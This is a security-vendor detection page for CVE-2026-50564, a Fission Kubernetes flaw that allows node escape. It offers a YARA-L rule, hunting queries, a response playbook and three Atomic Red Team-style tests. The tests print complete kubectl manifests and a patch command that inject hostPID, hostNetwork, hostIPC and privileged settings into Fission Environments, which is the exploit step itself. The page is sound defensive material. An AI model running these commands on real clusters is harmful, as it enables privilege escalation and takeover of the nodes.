CVE-2026-50564 Google Chronicle · YARA-L

Detect Fission Environment CRD PodSpec Passthrough Node Escape (CVE-2026-50564) in Google Chronicle

Fission (<=1.23.0) allows the Environment Custom Resource podspec passthrough (poolspec.container / poolspec.podspec) to inject arbitrary Kubernetes PodSpec fields including hostPID, hostNetwork, hostIPC, and privileged securityContext into builder/executor pods created by the fission-builder and fission-router controllers. Any principal able to create or update Environment CRDs (which in many multi-tenant Fission deployments includes low-privileged function developers) can escalate to full node compromise by scheduling a privileged, host-namespace-sharing pod, then pivoting to the underlying kubelet, container runtime socket, or other pods on the node. CVSS 9.9.

MITRE ATT&CK

Tactic
Privilege Escalation Lateral Movement Initial Access

YARA-L Detection Query

Google Chronicle (YARA-L)
yaral 
rule fission_environment_privileged_podspec_passthrough {
  meta:
    author = "df00tech"
    description = "Detects CVE-2026-50564 exploitation via privileged podspec passthrough on Fission Environment CRDs"
    severity = "CRITICAL"
    cve = "CVE-2026-50564"
  events:
    $audit.metadata.event_type = "USER_RESOURCE_UPDATE_CONTENT"
    $audit.target.resource.resource_subtype = "environments.fission.io"
    $audit.security_result.action = "ALLOW"
    (
      $audit.target.resource.attribute.labels.raw_data = /hostPID/ or
      $audit.target.resource.attribute.labels.raw_data = /hostNetwork/ or
      $audit.target.resource.attribute.labels.raw_data = /hostIPC/ or
      $audit.target.resource.attribute.labels.raw_data = /\"privileged\":true/
    )
  condition:
    $audit
}
critical severity medium confidence

Chronicle YARA-L rule matching Kubernetes audit UDM events for Fission Environment resource writes containing privileged/host-namespace podspec passthrough content.

Data Sources

Kubernetes API Audit Logs (UDM)

Required Tables

UDM Events

False Positives & Tuning

  • Legitimate privileged environment definitions approved through change management
  • Automated GitOps sync of pre-approved privileged manifests
  • UDM field parsing differences across Kubernetes audit log ingestion pipelines causing raw_data mismatches

Other platforms for CVE-2026-50564

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Deploy Fission Environment with hostPID and privileged podspec passthrough

    Expected signal: Kubernetes API audit log entry (verb=create) for environments.fission.io/atomic-test-hostpid-env containing hostPID:true and securityContext.privileged:true in the request object.

  2. Test 2Deploy Fission Environment with hostNetwork passthrough

    Expected signal: Kubernetes API audit log entry (verb=create) for environments.fission.io/atomic-test-hostnet-env containing hostNetwork:true in the request object.

  3. Test 3Patch existing Fission Environment to add hostIPC after initial benign creation

    Expected signal: Kubernetes API audit log entries for both create and patch verbs on environments.fission.io/atomic-test-patch-env, with the patch event's requestObject containing hostIPC:true and privileged:true.

Last updated: 2026-07-30 Research depth: standard
References (6)

Response Playbook

Triage

  1. Identify the specific Fission Environment CRD object(s) and namespace(s) where the privileged/host-namespace podspec passthrough fields (hostPID, hostNetwork, hostIPC, privileged, or hostPath volumes) were introduced, and record the requesting identity (username/service account) and source IP from the API audit event.
  2. Determine whether pods have already been scheduled from the modified Environment by checking fission-builder and executor pod controllers (`kubectl get pods -n <fission-function-namespace> -o jsonpath` filtered on the environment's poolsize/builder labels) and whether any resulting pod is currently Running with hostPID/hostNetwork/privileged set.
  3. Cross-reference the requesting identity's RBAC bindings to confirm whether they hold expected permissions on `environments.fission.io` — flag any account that should only have function-author (not environment-admin) privileges but was able to write this field.
  4. Check for anomalous activity originating from any node that hosted a pod spawned by the malicious Environment, including new processes on the host, unexpected outbound connections, or access to the container runtime socket (/var/run/docker.sock, /run/containerd/containerd.sock, or CRI-O equivalents).

Containment

  1. Immediately patch or delete the offending Environment CRD (`kubectl delete environment <name> -n <namespace>`) and cordon/drain any node that ran a pod spawned from it (`kubectl cordon` / `kubectl drain --ignore-daemonsets`) to stop further scheduling and isolate potential node compromise.
  2. Revoke or restrict the RBAC role/rolebinding that allowed the offending identity to create/update Environment CRDs, and rotate any credentials (service account tokens, kubeconfig) associated with that identity if compromise is suspected.

Evidence Collection

  1. Export the full Kubernetes API audit log entries (create/update/patch events) for the affected Environment object(s), including full requestObject and responseObject bodies, and preserve them with chain-of-custody metadata.
  2. Capture the running/terminated pod specs (`kubectl get pod <name> -o yaml --namespace <ns>` and, if already deleted, retrieve from etcd/API server audit trail or node-level container runtime logs) plus any node-level forensic artifacts (auditd/syscall logs, container runtime logs) from nodes that hosted the privileged pod.

Escalation Criteria

  • !Escalate to incident response leadership if a pod with hostPID/hostNetwork/privileged actually ran (not just was defined) on a production node, since this indicates likely container breakout and node-level compromise requiring full node forensic isolation.
  • !Escalate if the requesting identity's credentials show signs of prior compromise (unusual source IP/geolocation, first-time API usage pattern, or correlation with other suspicious authentication events), since this may indicate a broader account-takeover campaign rather than an isolated misconfiguration.

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

  • >Kubernetes API server audit logs (kube-audit) showing create/update/patch on environments.fission.io objects with the malicious podspec fields
  • >Pod manifests and container runtime logs (containerd/CRI-O/Docker) for pods scheduled from the malicious Environment, including securityContext and hostPID/hostNetwork settings
  • >Node-level auditd/syscall logs and kubelet logs showing process execution and namespace access originating from the escaped container

Tuning Guidance

Baseline which service accounts and human identities are legitimately authorized to modify Environment CRDs in each namespace (typically a small platform-admin group). Suppress alerts from that known-good allowlist while keeping the raw detection broad, and tune out CI/CD pipeline accounts only after confirming their manifests are static and version-controlled (i.e., not accepting arbitrary user-supplied podspec input). Any Environment write originating from a namespace-scoped function-developer role rather than a cluster/environment-admin role should be treated as high-confidence and not tuned out.

Hunting Queries

Broader hunt for any privileged-container or hostPath-volume indicators (not just hostPID/hostNetwork/hostIPC) introduced through Fission Environment CRDs, to catch variant exploitation techniques using the same passthrough vector.

Hunting — KQL
kql 
AzureDiagnostics
| where Category == "kube-audit"
| where log_s has "environments.fission.io"
| where log_s has "hostPath" or log_s has "privileged"
| project TimeGenerated, log_s
| order by TimeGenerated desc
Hunting — SPL
spl 
index=kubernetes sourcetype=kube:audit "environments.fission.io" ("hostPath" OR "privileged") | table _time, requestUser, requestObject | sort -_time

Atomic Red Team Tests

Test 1 Deploy Fission Environment with hostPID and privileged podspec passthrough
linux

Simulates the core exploitation primitive of CVE-2026-50564 by creating a Fission Environment CRD whose poolspec podspec sets hostPID and privileged securityContext, causing subsequently scheduled builder/executor pods to share the host PID namespace.

Command

bash 
kubectl apply -n fission-function -f - <<'EOF'
apiVersion: fission.io/v1
kind: Environment
metadata:
  name: atomic-test-hostpid-env
spec:
  version: 3
  builder:
    image: fission/builder-env
  runtime:
    image: fission/python-env
  poolsize: 1
  resources: {}
  podspec:
    hostPID: true
    containers:
    - name: atomic-test
      securityContext:
        privileged: true
EOF

Cleanup

bash 
kubectl delete environment atomic-test-hostpid-env -n fission-function --ignore-not-found

Expected Telemetry

Kubernetes API audit log entry (verb=create) for environments.fission.io/atomic-test-hostpid-env containing hostPID:true and securityContext.privileged:true in the request object.

Expected Detection

kql and spl rules fire on the create event matching hostPID/privileged substrings within the Fission Environment namespace.

Test 2 Deploy Fission Environment with hostNetwork passthrough
linux

Simulates an attacker enabling hostNetwork on the environment podspec to allow network-namespace escape and access to host-bound services/interfaces from a scheduled pod.

Command

bash 
kubectl apply -n fission-function -f - <<'EOF'
apiVersion: fission.io/v1
kind: Environment
metadata:
  name: atomic-test-hostnet-env
spec:
  version: 3
  builder:
    image: fission/builder-env
  runtime:
    image: fission/python-env
  poolsize: 1
  podspec:
    hostNetwork: true
    dnsPolicy: ClusterFirstWithHostNet
EOF

Cleanup

bash 
kubectl delete environment atomic-test-hostnet-env -n fission-function --ignore-not-found

Expected Telemetry

Kubernetes API audit log entry (verb=create) for environments.fission.io/atomic-test-hostnet-env containing hostNetwork:true in the request object.

Expected Detection

elastic_eql and qradar_aql rules match on the hostNetwork field within the environments resource create event.

Test 3 Patch existing Fission Environment to add hostIPC after initial benign creation
linux

Simulates a more evasive two-step attack pattern where a benign Environment is created first, then patched to add hostIPC and privileged fields, testing detection of update/patch (not just create) events.

Command

bash 
kubectl apply -n fission-function -f - <<'EOF'
apiVersion: fission.io/v1
kind: Environment
metadata:
  name: atomic-test-patch-env
spec:
  version: 3
  builder:
    image: fission/builder-env
  runtime:
    image: fission/python-env
  poolsize: 1
EOF
kubectl patch environment atomic-test-patch-env -n fission-function --type merge -p '{"spec":{"podspec":{"hostIPC":true,"containers":[{"name":"atomic-test","securityContext":{"privileged":true}}]}}}'

Cleanup

bash 
kubectl delete environment atomic-test-patch-env -n fission-function --ignore-not-found

Expected Telemetry

Kubernetes API audit log entries for both create and patch verbs on environments.fission.io/atomic-test-patch-env, with the patch event's requestObject containing hostIPC:true and privileged:true.

Expected Detection

sumo_logic and chronicle_yaral rules fire specifically on the patch verb event carrying the newly injected hostIPC/privileged fields, validating that update-time (not only create-time) exploitation is caught.

Related Detections

Tactic Hubs

TA0004Privilege EscalationTA0008Lateral MovementTA0001Initial Access

Related Techniques

T1611Escape to HostT1610Deploy ContainerT1078.004Cloud Accounts

Same Tactic: Privilege Escalation

Popular Detections